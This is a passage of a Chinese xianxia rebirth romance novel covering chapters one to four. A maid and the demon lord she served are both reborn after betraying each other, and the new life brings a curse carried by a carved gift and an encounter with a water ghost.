《我不覆辙》
1. 第一章
清风山庄。
庭院细雪簌簌,满地落白。
墙下立着一株绿萼梅,蕊黄瓣绿,于寒芒间盈盈生机。
她从窗前垂下眼眸,伏于矮桌边,取了匙箸拨弄博山炉中的香灰,再拾来香品。
一缕细烟袅袅升起,炉盖山峰嶙峋,恰如蓬莱仙山。
她偏头侧目,梳妆台前,男子闭目静坐,闻上月麟安息之香,拧起的眉头渐舒。
可压他脾性几分的,唯余此香了。
她起身走向男子。他着滚金边的喜服,铜镜中一番面容,清隽如画。
待他睁眼,书画气顿时燎了个干净,双目冷漠沉郁。
仙门曾广集天下之士,欲伐他匡扶正道,还没来得及行动,先被他截了仙门之首,强娶作妻,择黄道吉日,于今日成婚。
望得镜中一双戾目,她心下一凛,敛声屏气为祁不为束冠。
外界皆以为魔头此举,是为作践仙门脸面。可当她瞥见铜镜中人垂首,对手中银蝶发饰轻轻一笑时,便知天下人会错了意。
——祁不为对新娘一片赤忱。
偏偏这般一分神,她冬日里凉沁沁的手触到了祁不为耳廓。
祁不为立时偏头,皱眉避开。
她猛地僵住,兀自悬心。
初入院中不久,她便亲眼见一侍女替他拢发,不慎触及皮肤,下一瞬便被倏忽爆发的罡气震飞,口吐鲜血,险些要了半条命!
屋内寂静,如檐下雪地,至此还能听见雪子落地的扑簌声。
只见他闭目须臾,再如常正过身子,她才轻吐一口气,庆幸逃过一劫,旋即吊起十二分心气束冠。
事毕,她正施礼告退,忽听祁不为低沉冷淡的言语。
“慢。”
她侍立一旁,静听吩咐,却见祁不为从案上拿了袖炉,递给她。
修仙之人不惧寒冬炎夏,此物摆在案头上,倒一直视作精巧的陈设物什。
待她接过,炉身作热,盖上雕镂錾刻的玉兰似炙活了,隐隐透出一股香韵。
“暖手。”
她有些愣怔,原以为是要她带给新娘,却不曾想是给自己暖手。
她捧着袖炉撤身,离开此地。
山庄遍布红绸,在风雪里纷扬,迎面而来的仆从无不对她毕恭毕敬,这全是因为祁不为。
祁不为仙门世家出身,父母早亡,阿姐相伴长大,后游历四方斩妖除魔,只不知何故,离经叛道,成了今日仙门口诛笔伐的大魔头。
此人性情亦大变,喜怒无常,手段狠戾,底下服侍的人惶惶不可终日,侍女是换了一批又一批。
倘若谁受命入他庭院,堪称一脚踏入修罗场,命不可测。
直到名唤易辛的侍女出现。
此前众人乃不知山庄有此人物,初初见她,只觉身子单薄怜弱,面上温顺,纷纷叹惋她去了那院落中,便似羊入虎口。
熟料她好端端地留在了院中,还解了其余侍女的厄运。
如今院中,唯余她一人侍立在旁。
且不说她平素对众人再三恭谦,却是无人敢视她为怜弱白花。
袖炉温热,融了手心冷意。易辛安静地转过抄手游廊,踏入另一座庭院。
她拂去衣上碎雪,推开梨花木扇门,一眼望见装扮妥帖的新娘,正闭目躺在锦绣被褥中。
铺上俱是红枣、花生、桂圆与莲子,寄新婚美意。
日沉西山,黄昏至,婚仪方始。
一对新人行过礼,又裁发合髻。
两缕乌黑如墨的发丝对结纳入囊中,寓为永结同心。
礼毕后,众人散去。
一方暖室内,烛光生辉,灿若明霞。
祁不为呼唤新娘的名字,声音轻而低沉,竟夹着踯躅,仿佛有些害怕和难过。
“……我知道,你恨我厌我,但我不悔。”
新娘没有应声,他也不需要。
他抬手把她揽入怀中,举止小心谨慎,间或万分珍重。
祁不为伏于新娘肩窝处,如倦鸟归巢,流露出不与人前的一面。
新娘身子僵硬,他视若无睹。
传言世人皆从泥土来,她却从不宥于俗世泥淖,一心作白鹤,振翅向青云。
他向来知她,今日偏因一己之私,扯她下云端。
良久,他直起身,把手探入喜帕,温暖干燥的掌心贴着她面颊,拇指轻缓摩挲。
屋内突兀地响起一声笑,仿若自嘲。
“我竟有些不敢揭这喜帕……分明此情此景,我朝思暮想了许久。”
凝视她倏然绷直的一段脖颈,祁不为又是一笑,寂然凄切。
“……但是,你不愿嫁给我。”
两人便隔着一方喜帕,静默对坐。
只凄然了片刻,很快祁不为就强行压下,手指从她面颊流连至眉骨,再去向莹白耳垂,终至温软的唇。
适时,一点清泪落在祁不为手背上。
他顿住,不是因为这滴泪,而是描摹下来,这张脸十分陌生!
祁不为猛掀了喜帕,红色丝帕如雨打浮萍,无依落地。
听得庭院响动,仆从哗啦啦涌入,见眼前之景,登时呆若木鸡。
新娘一身明灿喜服,凤冠霞帔,灼灼灯火映得她面容生辉。
竟是易辛!
易辛狼狈跌地,冠上金丝流苏摇晃不止,一如她的惊惧。
祁不为眼中布满阴郁,陡然掐住她那截脆弱的脖颈,声音沉得可怕:“她人在何处!”
易辛面色苍白:“不、不知道……”
话落,只见他脸色十分可怖,收拢的手指令她透不过气,额角青筋毕现。
“为何放她走!”
屋外已伏地一片,听闻祁不为猛然拔高的语调,俱是浑身一颤,头埋得更低,恨不得直直入土。
众所周知,祁不为强娶之人是仙首,也是他的师姐——祁有为。
前任庄主夫妇曾于游历时,救下一流浪孤女,将她作徒,倾囊相授。
庄主夫妇对这幼徒疼爱有加,几乎是当女儿来教养,走哪带哪。祁不为出生后,和她更是好成了亲姐弟,是以连师姐都不喊,直唤阿姐。
在世人眼中,她与祁家三口虽无亲缘关系,却胜似亲人。甚至许多人都以为庄主夫妇确乎生了一对儿女。
所以,魔头与仙首的婚事,一踏了仙门脸面,二有违人伦天理——跪地伏首的仆从们,私以为易辛和仙门中人都是这般想法,片刻后方知自己大错特错。
“她……钟情的不是你,情爱婚嫁……不可强求……”
众人一怔,一时没明白。虽是徒弟,但庄主夫妇早把祁有为当成亲女儿,且两人自幼以姐弟相称长大,分明已是家人。爹娘若还活着,怎么也不会应允他们结为夫妻!是否两厢情愿,根本不是重点!
俄而骤冷,似以祁不为作圆心,无形寒冰蔓延开来,头顶仿佛悬着一柄利剑,以发丝相吊,岌岌可危,不禁叫人两股战战。
他们猛然醒悟,什么人伦不人伦,追究起来毕竟不是亲的,师姐师弟而已!他那姐姐不爱他!这才是祁不为的逆鳞!
顷刻间,祁不为面目狰狞,关节用力,咔咔作响,好像野兽正啃咬着骨头。
“她究竟在哪!”
高声咆哮灌入她耳中,莫名地,她听出几分惊慌。
易辛望着他,只见他神情可怖扭曲。而她泪眼模糊间,恍觉此番狰狞面目下,是个手足无措、嚎啕大哭的稚童。
如她所想,祁不为真真陷入了无边恐慌。
易辛纵祁有为出逃,他手中拽着那人的风筝线便断得彻底。
爱慕把自己当成亲弟弟的师姐,是孽缘;堕入魔道,是她眼中的错处,成了她的敌人;逼迫她成婚,便是决绝地舍弃了二人从小到大的情分。
他们之间,再无回旋余地。
她再也不会回到他身旁,伴他左右。
祁不为渐渐发了痴,眼有疯魔,手上力度愈发大,恨得想要扭断易辛脖子。
此间往后,他是个真正的弃子,没了爹娘,也没了阿姐,在这世上,孑然一身。
忽地,冰凉刺骨的寒意缠上腕骨,有什么东西淅淅沥沥落在上面。
他目光清明一瞬,但见易辛如岸上渴水的鱼儿,无力挣扎,却颤栗不止。
她眼中光芒愈渐稀薄——祁不为意识到,她正慢慢死去。
莫名的,一分心神似被拔出,走马灯似的掠过几处画面。
他薄情无心,从不在意身旁来往的侍女,只觉面目时常变换。
某一日,于博山炉熏出的月鳞香中,但见一女子指尖生烟,窗边天光下,面容恬淡。
往后,他时时看到这张脸,只无意记住她的名字。
但他知道,她日日在这院落中……
此时此刻,只要利落一拧,她就会一命呜呼,祁不为却松了手。
陡然间,易辛浑身脱力,身子下意识向前倾倒,不自觉落入了他怀中。她抵住祁不为肩头,刺得呛咳不止。
耳边尖锐嗡鸣之际,传入一句喃喃自语。
“为何?”
易辛不解,闻得下一句,骤然睁大了眼。
“你不是……情系于我么?”
既生爱慕,何苦中伤他至此。
易辛呆愣愣的,一言不发。他如何得知?何时得知?这些她全都不知道。
祁不为推开她,吩咐仆从去找祁有为,出门时落下一句话。
“寻不到祁有为,你便偿命。”
祁不为再遇阿姐,已是数月之后。
彼时哀绝长嘶,泣血泣泪。
她巍然不动如泰山,无刃剑当胸而过,尽数卷走她的生息,却替
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他截住生死之劫。
身后是执剑爱人的喃喃呼语,面前是那呆楞可怜的弟弟。
女子轻抚祁不为面庞。
“君子立世,当有所为,有所不为……”
“别再作恶了,好生活着罢……”
话落,她便如打过霜败了水的花儿,须臾萎靡。
祁不为骤然癫狂!
仙门无不胆寒,幸而魔头已受了祁有为三枚仙钉,锁尽灵力。诸门派子弟壮胆欲除之后快,不料无刃剑主易张稚力排众议,执意保下了这魔头,把他禁锢在法器牢笼中,镇于清风山。
牢笼封闭,里外都看不见。只能从震荡的法阵中发现祁不为正猛烈撞击着想突破桎梏,但根本没用。
他施展不出任何灵力。
当人们渐渐将他抛在视野之后时,一个寻常的夜里,牢笼内鲜血流淌,一只阴冷的手混着温热的液体,抽出一枚铁钉。
那摊血迹里,已躺落两枚。
祁不为松开手,第三枚铁钉掉在地上,叮当作响。
他无声地牵动唇角,不见天日令他本就白皙的肤色愈发苍白,活脱脱一只阴鬼。体内灵力澎湃,一寸一寸洗刷他的经脉。
不用灵力探知,他就知道山庄里有一个人,每日给他送食。
每日每夜,他都在想,踏出牢笼的第一步,便是杀掉这个仙门弟子。
脚步声在牢笼外响起,祁不为在黑暗里睁开那双阴鸷的眼,黑铁牢笼瞬间四分五裂。
一块碎铁朝来人激射而去,短促的惊呼应声而起。
祁不为听出是个女子。
遮挡视线的牢笼倒塌,他踩着轻慢的脚步踏出,手上淅淅沥沥地滴落血水,一身黑衣和冷厉阴郁的脸让他浑身上下透着仿佛实质的阴冷气息。
那女子并未被黑铁射中,惊吓之余不甚绊倒,躲过一劫。
祁不为声似三尺冻雪,冷漠寒凉。
“易辛。”
九华山上,往日重现。
祁不为一剑夺了易张稚性命。
“你欠她的。”
安稳不过月余的仙门至此又发了疯,但始作俑者报了仇便打道回府。
门楣下,易辛眺望天边云卷云舒,终于等来身负重伤的少年。
他淡漠度她一眼,径自穿堂而过。
山中寂静,不觉岁月。
春雷一滚,细雨润物,点点顽强绿意始自墙根地缝而出。
晨时雨雾朦胧,烟波浩渺,将山庄的萧瑟破败涤了干净,石阶上裂缝蜿蜒,得雨后生苔,绿缛可爱。
祁不为檐下观雨,又若神游天外,周身枯寂。
易辛跪坐于廊前,撷了几株尚在花期的绿萼梅,将它们插在瓷瓶中,耐心地裁枝剪叶。
一派静谧悠然中,忽有天外来剑。祁不为认出那是无刃剑。
他轻展袖袍。剑尖转了个弯,猝然玉瓶炸裂迸溅,其中夹杂着失措惊呼。
他偏头去望,绿萼梅从中折断,零落在地,木板上满是碎玉瓷器。
长剑钉入木板,铮然嗡鸣。
易辛脸上划出一道血痕,血珠滚落,染红的碎片溅在他黑靴边。
控物之力愈发不济。
他迈步走向易辛,托她下颔,指腹抚过伤痕,红印遂然不见,同时将她的惊惧愣怔尽收眼底。
“拿上剑,随我来。”
他知道仙门此刻正聚在山前,自祁有为死后,报过仇,他便活得如行尸走肉,内外空无。
将近二十载光阴,从未想过至今留在他身旁的,会是一名不曾在意的侍女。
也罢,荒谬半生,不如赔上自己的人头全她性命,生前行个善。
思及此,他踏入仙门各派的围困之阵。
需先除去刻薄刁难之徒,再撞上易辛手中的无刃剑。如此,仙门总可留她一命。
几番酣战下来,余光总能瞥见易辛一双布满忧虑的眼睛,不复往日沉静。
祁不为心中早已一潭死水,古井无波,此时不禁落下一声很淡的叹息。
他转过身再要施为,忽闻一道钝响,衣帛裂开、剑入血肉,居然有人伤了他?!
祁不为一面错愕,一面怒不可遏,长剑聚起一身修为灵力,回身去劈。
——圆弧扫过半圈,把周身之人震荡开来,却骤然停住!
白光寒刃距身后之人不过一拳,锋利弧芒将那人垂在身侧的长辫切断。
这一下收势猝不及防,旋即便反噬到自己身上,震得祁不为口吐鲜血。
侍女易辛手执无刃长剑,脂粉不敷面,珠钗不饰发,全身素简,皆凝作面上的冷意无情。
心口霎时空落茫然,直至见她黑沉沉的眼中淌下两行泪,他才恍过神来,胸中呼地啸起漫天怒火。
连你……也叛我弃我!
然再无后话,祁不为气绝,卒。
2. 第二章
“祁家有儿郎,父母偏早亡,
执剑不思量,斩妖入迷惘。
乱世遗孤女,不闻复鸣人,
桥下等逆旅,苦茶解旧尘。
……”
耳边仙音渺渺,如泣如诉,叫人想起山间鬼魅。
脑中一团浆糊,好像有人拿了木杵狠狠翻搅。脚底绵软,身倾颓倒,紧接着凉水泼了满脸,激得她陡然转醒。
熙攘尖呼破开朦胧,传入耳中。
她仰躺在地,周身一并拥了几个仆妇,口中关切。
“易辛,可是踩水滑了?”
“伤着没?”
易辛不作言语,众仆妇瞧她满脸痴怔,误以为她真伤了头脑,不敢胡乱搀扶。
发愣间,她自顾爬起身,环顾四周。
场院空阔,平地架起排排竹竿,衣物被褥齐整地在上边挂着,墙下杏花风流。
三五成群的浣衣女正捣着衣,澡豆清香。
她抓了一仆妇手臂,急切问道:“现下什么日子?何年何月?!”
对方不明所以,但还是给了答复。
瞬间,易辛眼神明灭变幻,泼在脸上的水渍落入眼中,在从中滑出,仿佛一滴眼泪。
忽有一人惊骂。
“嚯!这井水怎么好端端地发了苦?”
众人回望,易辛也跟着撇过眼。适才她取了井水捣衣,未料发昏,倒了个人仰马翻,一盆井水也溅到了旁人口中。
仆妇们笑骂。
“说的什么胡话,井水如何作怪味。”
“莫不是你贪甜食,口里发涩哩。”
易辛微顿,也觉出口中苦味来,不由得搓捻手指,蓦地明了个中缘由。
众人话头已偏,她回屋重换了身布衣,在场院中浆洗衣物。
明面上她还在洗衣服,实则早已神游物外。
成功了……她真的回来了!
……前世偏居一隅,与那些人物无甚交集,不晓得祁不为历经何事。从浣衣坊抽调去内院时,他已经入了魔,渐不近人情。细细算起,诸多反常都源起于甘华门的仙首大会,距今尚有月余。
她要去甘华门。前世种种,她再也不想重蹈覆辙。
在此之前,还需寻得一物。
粗略做好一番打算后,她起身去晾涤净的白衬,抖落甩水间没抓牢,风儿一送,便脱了手。
她追上前去,倏见排排竹竿间缓步踱出一人,抬手抓了白衬,襟带随风飘飞,掩住来人眉目。
待那人望却过来,易辛霎时心如擂鼓,须臾间心思百转千回,最后全部化作无声默念。
——祁不为。
变故陡生!
忽有狂风大作,衣物布衾猎猎作响,竹竿唰地倒了几排。
风沙迷眼间,祁不为携一身神佛不可阻的气劲,疾步行至她身前,五指成爪,拢住她的脖颈,他步履未停,掼她至水井边。
举止行云流水,杀意铺天盖地。
易辛猝不及防,半边身子没入井中。
如遭晴天霹雳,转瞬之间,她已从惊骇至恍然大悟。
——祁不为也重生了!
对上那双阴郁愤恨的双眼,易辛便知祁不为将她恨透了。
可眼下顾不得伤春悲秋,她马上就要被祁不为掐死了!
易辛拼命挣扎,周边仆妇同来拉扯,竟撼动不了他分毫。
视线模糊间,她只觉祁不为箍住自己的手像冷铁一样坚硬……如果挣脱不得,不如一起掉进井里。
想罢,她佯作挣扎,攀上他肩头,欲发力时,忽见祁不为痛苦闷哼,松手捂头。
这一松手,她猛地坠入井中,余光里他好像痛楚难忍,昏死过去了。
一番折腾后,已渐黄昏。
管事得知此事,亲来浣衣坊作了解释。
——祁不为前些时日下山除妖,不慎中毒。现今余毒未清,一时侵扰神识,将她误伤。
事出有因,易辛当然不好追究。她妥帖将管事送出浣衣坊,行止间一派温良。
管事前脚方走,后脚又有人来寻易辛。
来者系祁不为院中侍女,传信于她,言明公子请她前去,赔礼道歉。
易辛面色尤白,道:“公子言重了,管事已道明前因,请公子不必放在心上。”
那侍女眉眼一弯,上前执了她的手:“好妹妹,便去了罢。公子素来和善,但犟起来连咱们庄主也没法子。他可给我下了令,让我一定把你请去呢。”
言尽于此,祁不为铁了心要见她,纵满心怀疑是鸿门宴,易辛也拒不得了。
从浣衣坊出,穿过假山石塘,再过几道门,方入庭院。
日落西山,余晖投下一片碎金,光影流转。
祁不为立于鱼缸前,沐光生晕,漆黑眸子里溶出两道暗金。
易辛心口又痛了起来。自今早一通乱子,从井中捞起后,她的心口便隐隐作痛。
说不清是何毛病,但她晓得自己历来不患心病,不觉忆起那段话。
“……你以一身残魂还阳,身体必有异处……”
她忍下痛楚,向祁不为施礼。后者言语随和,一如面上神情,没有任何架子,笑起来浑似意气风发的少年郎,与前世的桀骜邪异大相径庭。
她蓦地回过味来,只怕祁不为那时是真心要置她于死地,却“师出无名”。
此时的祁不为,应是山庄里与人为善的少公子,怎能无缘无故杀死一个未曾谋面的小小侍女,反倒招惹怀疑。
其中最为关键的,必是过不了祁有为那一关。
祁不为浑然不觉已被猜透,引她至檐下。
门前铺设案几,瓷碟盛了精致可口的糕点。两人对坐。
他温和开口:“误伤姑娘,在下深感自责。想要送件礼物赔个不是,希望你不要拒绝。”
话被说死,免了一番温寒推诿,教易辛无言可驳。
“在下会些木雕,虽不成器,尚可聊表心意。”祁不为继续披着温润公子谦谦语的皮,佯装端详易辛仪容,见其低眉敛目,面色三分白,举止局促,仿若还没从白天的事回过神,他顿时心中畅意。
祁不为今早醒来,发觉自己重生后喜不自胜,本打算立即去寻下山除妖的祁有为,偏偏余毒封了灵力,无法御剑。
又想起昨日山庄破败荒凉,物是人非,心里涌出些虚妄空幻的不真切之感。于是闲庭信步,把山庄重走了一遍,不知不觉来到前世从踏足过的浣衣坊——冷不丁撞上易辛!
电光火石间,前仇尽现,他怒下杀手。
偏偏当下光景,他不能明目张胆杀人,不
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得已作罢。
忽然间,祁不为想起一事,易辛竟这般早便在山庄?
他向对面问道:“你来山庄多长时日了?”
易辛眉眼低垂,说道:“自小便在此处。”
祁不为脸上看不出什么,顿了一会儿随口又问:“为何取作易辛之名?”
“……婆婆受山庄和先庄主夫妇恩惠颇多,心怀感恩,便给我取了‘辛’字,望我对山庄忠诚,不辞辛劳……”
“婆婆也希望我行事一心一意,意志坚定……”这句话还没说出口,对面忽然传来钝响。
易辛心下一紧,稍抬眼去望。木雕豁了个口子,手掌与腕骨被截断了。
果然,她心中微叹,说出姓名背后之意,定会踩他痛脚,惹得他愈发不快。
旋即,雕刀的冷铁入她眼帘,尖锐的前缘抵住她咽喉。
她敛了气,颈线拉直,并不似先前那般惊惶,但见他恨自己入骨,难免伤怀一二。
——还阳重生乃天机,务必三缄其口!你心中有人间事,但不要误了其他大事。
念及那番叮嘱,前尘种种,只得缄口不言。
“不肯抬头,如何刻你的脸?”祁不为说道。
易辛明白,他只能做些小动作,以作唬吓,不会真于人前伤她。
听罢,她缓缓抬头,对上祁不为的眉眼。
少年面容如昨,心虽是旧的,却未将那张脸染上同样的戾气,显得清隽漂亮。
他继承了娘亲的美貌。
易辛看得心中五味杂陈。一时怀恋,一时怅惘,间或有怜意,不察觉泄了几分爱慕心思。祁不为含笑盯着易辛那双眼看了须臾,如清澈潭水,一见到底。
他暗中嗤笑。前世,他便与她说过,那双眼根本藏不住心事。
雕刻需得费一番功夫,他从黄昏刻到月上中天。
“易辛,送予你。”祁不为把木雕递到她身前。
在他雕刻之际,易辛已揣测了许多可以利用木雕害她的法术,只可惜她并非修道之人,所知实在有限,更不必说解法。
暂不提术法与破解之道,这木雕除了收下,别无它法。
依着祁不为的性子,今日只有她接下木雕的唯一结局。
祁不为眼也不错地凝视易辛,面上温和微笑,见她温顺取过木雕,有礼告退。
目送那道身影渐行渐远,他收了笑,眼中异光雪亮,里头埋了针尖刺芒,并泼天恨意。
——分明片刻之前,他还为易辛作打算,用自己的命为她谋条生路,却不料立即被一剑穿心。
可笑至极!
无刃剑不愧是斩杀妖物的奇兵,刺上一剑,身体痛,魂魄更痛。仿佛受了万道鞭笞之刑,战栗不绝。
仙门和易张稚想杀他;祁有为欲翦除魔障,他心中也有过这般猜测。
从始至终,却独独没算过易辛。
为何不是她?
因为不论他行止如何,易辛始终默默作陪,如不动青松,视他的冷漠无心为空物,她爱他,却不求任何东西。
既如此,她为何会伤他。
所以最后时刻,他对她动了恻隐之心。他希望易辛能得到一个好结局。
可叫人生恨的,偏偏是她!
如今她送到自己跟前,岂有不杀之理。
3. 第三章
夜阑人静,易辛回了浣衣坊。
余人或作女红,或劳累歇下。
捣衣的活计儿尚未做完,为不扰众人,她提了木桶去向山脚。
此处有一方湖泊,皎皎月色中瓦蓝一片,泠泠作响。
湖中有一排石墩,横跨两岸。易辛寻了一处低矮之地涤衣。
水浪荡漾,掀起层层涟漪,哗啦丁零之声,空谷回响。
不多时,万籁俱静。
易辛福至心灵,盯着水面波澜,动也不动。
既要杀人于无形,还不能叫旁人瞧出端倪……
她从木桶里取来雕像,此木着红褐之色,附细密纹理,刻出的人像添几分诡异阴邪。
她将木雕浸入湖水,半晌捞起细看。
只见足底显出一道状似蛇形的印记。
她心下一凉。
“得失咒……”
世上有一术法,与巫蛊雷同。
修炼之人无需灵力,得牢记咒文,但此咒繁复冗长。
步骤有三。一是念咒;二晓对方名姓;三则赠其三件礼品,送予之物必须亲手制作,且要呼唤对方姓名,表达赠送之意。
完成此等步骤,即可取走那人一样东西。
有来有回,有得有失,是谓得失咒。
施咒者足够强,或对面足够弱,咒术力量就会随之浮动,重则可夺对方性命,使其忽然暴毙,无缘由可查。
祁不为便是对她下了此咒。
易辛心口发涩,双眼温热泛酸。
锥心刺痛乍然袭来,疼得她连连抽气,连蹲也蹲不住了,只能双手杵着石墩,十指不禁扣住粗糙石面。
紧接着,她倒在石墩上,蜷成一团,使劲儿摁住心口,试图缓解一二,却是徒劳。
或许等不到得失咒发作,她先死于心绞痛了……
偏有句俗话,屋漏偏逢连夜雨。
在她懵然发怔间,忽闻破水之声,还没瞥清是什么东西,便被猛地拽入水中。
易辛顷刻睁眼,身子一颤,眼眸瑟缩不已。
水下浮了一人,乌发长如水藻,将她四肢缠缠绕绕。
他面庞煞白,双目无神,眼中两点黑得极不寻常。
往下一瞧,登时头皮发麻。
此人胸口对穿破了个洞。
这是一具……被挖了心的水鬼!
月明星疏,虫鸟隐于丛中,不时咕鸣。
祁不为已经卧床歇下,耳边嘈切,头脑发昏。半梦半醒之际,入了魇。
梦里血流漂杵,尸体堆叠,好似一座小山。
大雨瓢泼,打得人睁不开眼。
长剑当胸而过,血融进雨里,挥剑如泼墨。
老头缓缓倒下,眼神直愣愣的,望着他身后。
祁不为骤然回身。
祁有为立于雨幕中,遮掩了面目,叫他难辨。
“祁不为……你做了什么……?!”
天好像破了个窟窿,暴雨如注,她声作惊雷,震耳欲聋。
见状,祁不为急急要作解释,可梦中的他却一语未发。
祁不为拼命张口,奈何怎么也说不出话来,越挣扎,越无力,直至猝醒。
顿时头痛欲裂,心口隆隆,仿佛要蹦出嗓子眼。
躁郁爬上眉眼,顷刻间,他凶煞无比。屋里缺一种熟悉的气味,这令他愈发烦躁。
“易辛!”他冷声高喝,“为何不点香!”
门应声而开,却不是易辛。祁不为一时有些陌生,神情冷漠。
侍女当即觉他不善,端着几分小心问道:“公子寻易辛?她在浣衣坊,此时应歇下了。”
“去找!”
祁不为根本没听进侍女所言,只听明白了易辛不在。梦魇促他心浮气躁,怒而碎了一盏茶杯。
瓷片高溅,将侍女唬得不轻。
她们中一人立即去找易辛,其余人掌灯,扫了碎片。
祁不为沉默不语,目光压迫十足,渐渐地,记忆回笼。
他已重生,身子换了副新的,却装了旧魂。
前世最后一段时日,他睡得极差,非要一种熏香。
记不得何时闻上那熏香,晃过神,不觉已闻了许久。
也正是那时,他才注意到侍立在旁的,一直是易辛,不再频繁变更。
重生至今,他未曾焚香。他知晓易辛所用香料为月麟,奇却奇在,她总能焚出余人没有的气息。
祁不为不愿叫易辛来跟前,也鄙薄离了她便睡不好的自己。
今夜囫囵灌醉了事,不料梦魇,浑噩间又下意识唤易辛点香。
他顿时十分唾弃自己!
祁不为目光沉沉,曲起一条腿,扶额挡住眼睛。
半晌,来了人回话。
“公子,易辛不在浣衣坊,同屋的人也不知她去了何处。”
山脚湖泊,石墩处。
话说那水鬼扯了易辛落水,用头发缠住四肢,看样子要溺死她。
易辛急作挣扎,奈何手脚缠缚,越挣越紧。
她曾听闻水鬼不得投胎转世,除非寻到下一个溺死者。
不知是否水鬼作怪,湖水冰冷彻骨,她身子僵劲发麻,胸口作痛,心口更甚。
水鬼不远不近地看着,好像看一个陷入沼泽的人,目睹她越挣扎死得越快的样子。
易辛满脸痛苦,却不愿死去。她已经想到脱身之法,刚要行动,猛然发觉那水鬼已至身前,刹那间眼白化黑,面上细细皲裂。
水鬼想要震慑她,凑上去显露可怖面目。谁知她反应不同寻常,好像一锤子凿在心上,瞬间失了魂,直直昏了过去,渐沉入湖底。
水鬼暗道坏事,连连卷起易辛送上石墩,浮游至她边上。
露出水面后,细瞧他面容,略去那惨白之色,隐约是个青涩书生的模样。
书生见她仍不醒,开口呼唤:“姑娘,姑娘,姑娘……”
渐渐地,他面露焦色:“怪我不好!姑娘,我无意害你……原先想恐吓一番,怕你不愿帮我……”
他连连焦灼叹气,直骂自己蠢笨,推她手臂也没反应。
要送医,他却离不得这片湖,正六神无主时,余光瞥见一人步上石墩。
来人身量颀长挺拔,隐有压迫,令书生微觉呼吸不畅,一时忘记言语。待他面容笼在月色下,发现居然是个少年。
书生这才回神,朝他呼救,央他瞧瞧昏迷女子。
只见他走近,用手中剑鞘拨开女子凌乱扑面的乌发,露出苍白的脸。
书生蹙眉,觉得此举不当,一股子淡漠轻慢之味。但他不敢推开那剑,作鬼的直觉叫他不要轻易碰它。
可他当真会救人?
书生怯怯抬眼望他,不妨对上男子投来的目光,冰冷带刺,不由得一颤。
“我无心害她……”书生脱口而出,又觉得依着对方举止,未见得此人在意女子生死。
随即,又见男子用剑戳她肺腑,仿佛试探体内有无积水。
书生不自觉道:“她昏迷前,未作窒息之状,想来没呛水,恐……恐是见了我的模样,吓昏了……”
祁不为蹲下身,见她无丝毫醒来的征兆,去查手腕,欲探究竟。
指尖微顿。
——没有脉搏。
复去探侧颈,尚有余温,只是仍查不到脉息。
再落指于人中处,不小心触到冰凉的唇,但还是没有鼻息。
死了?
祁不为面无表情,心中古井无波,既无大仇得报之快意,也无人生无常之唏嘘,显得胸膛里空空如也。
死了么?他在心里又问一遍,眉头轻轻拧起,为何?
月色岑寂,为她脸上镀一层幽白,亮得刺眼。
他静静望着,仿若入了定。
书生敏性,觉出他身上漫出一股不寻常的气息,拄地长剑振动嗡鸣,湖面
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水漪涟涟。
渐渐地,书生面有痛色,无形压迫之下,喘息变得有些艰难。
忽然,那女子眼皮动了动,蓦地受惊转醒,呛咳不止。
那阵窒息的压迫陡然烟消云散,书生下意识去看他,只见他面色一变。
未及思量,祁不为已经托住了易辛后颈,扶她起身。
易辛咳了个惊天动地,虚虚止住时,余光瞥见那水鬼巴巴在侧,登时面色全无,连呼喊都窒在了嗓子眼里,连连挪退。
若非祁不为伸手拦住她后背,她便会仰倒栽入另一侧湖里。
易辛下意识拽了什么,稳住身形,恍然惊觉身侧有人。
扭头一望,看见了祁不为,然后发觉自己无意中攥住了他的胳膊,几欲挤入他怀中。
易辛愣怔一瞬,赶紧坐直,收回了自己放肆的手,忽又眸光一动,惊诧道:“公子,你受伤了?”
等她伸手过来,祁不为才觉鼻下湿润温热,抬手一抹,满手见红,又见她衣服上也落了几朵血花,蓦地,五脏六腑皆刺痛起来。
不知何时,余毒早已发作,搅得他体内刺痛翻腾。
祁不为略略压下余毒,取了帕子擦净,朝那书生望去。
书生瑟缩,后撤些许,又向易辛道歉。
听闻他的声音,易辛肩上又是一紧,垂头盯着石墩,决计不去瞧他。
“……你……想要我做何事?”
“可否问姑娘,是清风山庄之人?”
易辛微微侧目,见祁不为半蹲在旁,不阻拦亦不开口,遂点头应答。
“前些时日,我于此处闲游,正在湖畔净手,忽被背后掏心,坠入湖中,化作水鬼。”
“能否烦请姑娘寻山庄除妖子弟,揪出挖心之人。”
书生言辞恳切。
竟是受了这等无妄之灾,易辛戚戚然,适逢祁不为开口。
“此事既发生于清风山脚下,必有人来料理,你且安心等待。”
“如此,感激不尽!”书生木然的面上,浮出几分笑意,随即又扭捏犹豫起来,似还有事相求,羞于开口。
“还有何事?”祁不为问。
书生被挑明,深吸口气,抬眼望他:“你们可与庄主祁有为相识?”
易辛一愣,一时忘了可怖情状,不禁去看那水鬼。后者面貌恢复如常,只满脸煞白,但莫名地,还能从其情态看出羞赧并失意。
“为何问到祁庄主?”易辛不解。
“余时曾受她恩惠,一直铭记于心。总念着待日后学成归来,定要好好感激一番,不料遇上横祸……”他稍稍停顿,又道:“若是可以,能否请祁姑娘前来一见,让我当面表达谢意。”
瞧他神态,易辛明了言外之意,眉头微蹙,这时机实在不算恰当,却听祁不为答了他。
“她日前不在山庄,等她回来,我会转告。”
易辛难掩错愕又连忙压下,悄悄地从眼尾去看祁不为,又听他道:“夜已深,若再无他事,我们便告辞了。”
书生见有戏,自是高兴得很,未察觉祁不为眼里的晦暗,连连道谢。
祁不为面上和善一笑,起身迈步走向岸边。
易辛提起木桶缀在身后,望一眼他的背影,倏然想起,祁不为为何在此?
但是一整日的兵荒马乱叫她无心多思。心口痛楚余韵尤在,疲累如潮水涌来,其间不乏数次虎口逃生的庆幸。
踏过几处石墩后,身后书生忽然喊住她。
“姑娘,你的木雕落下了。”
易辛眉心一跳,送礼之人便在眼前,唯恐被他刁难,她立即放下木桶回身,要去拾那木雕。
书生正向她浮游而来,手中举着人像木雕。
刚一转身,易辛骤然脊背发凉,一眼望见朝向她的木雕底座。
——上头赫然浮现得失咒的印记!
继而,她见书生越过她的肩,望向身后,目露惊恐。
4. 第四章
祁不为发现了?!
易辛脑中闪过这个念头,立时心中惴惴,下一瞬,却听身后传来倒地之声。
她猛地转头,祁不为扑倒在岸边,一动不动。
祁不为院落。
“公子强行催动体内灵力,余毒刺激五脏六腑,才致忽然昏厥。暂无大碍,好生休养即可。”山庄内的医士收回探查之手,向屋中管事与易辛解释道。
易辛疑惑:“可他未与旁人打斗……”
那水鬼瞧着很怵祁不为,自然不敢激怒他。
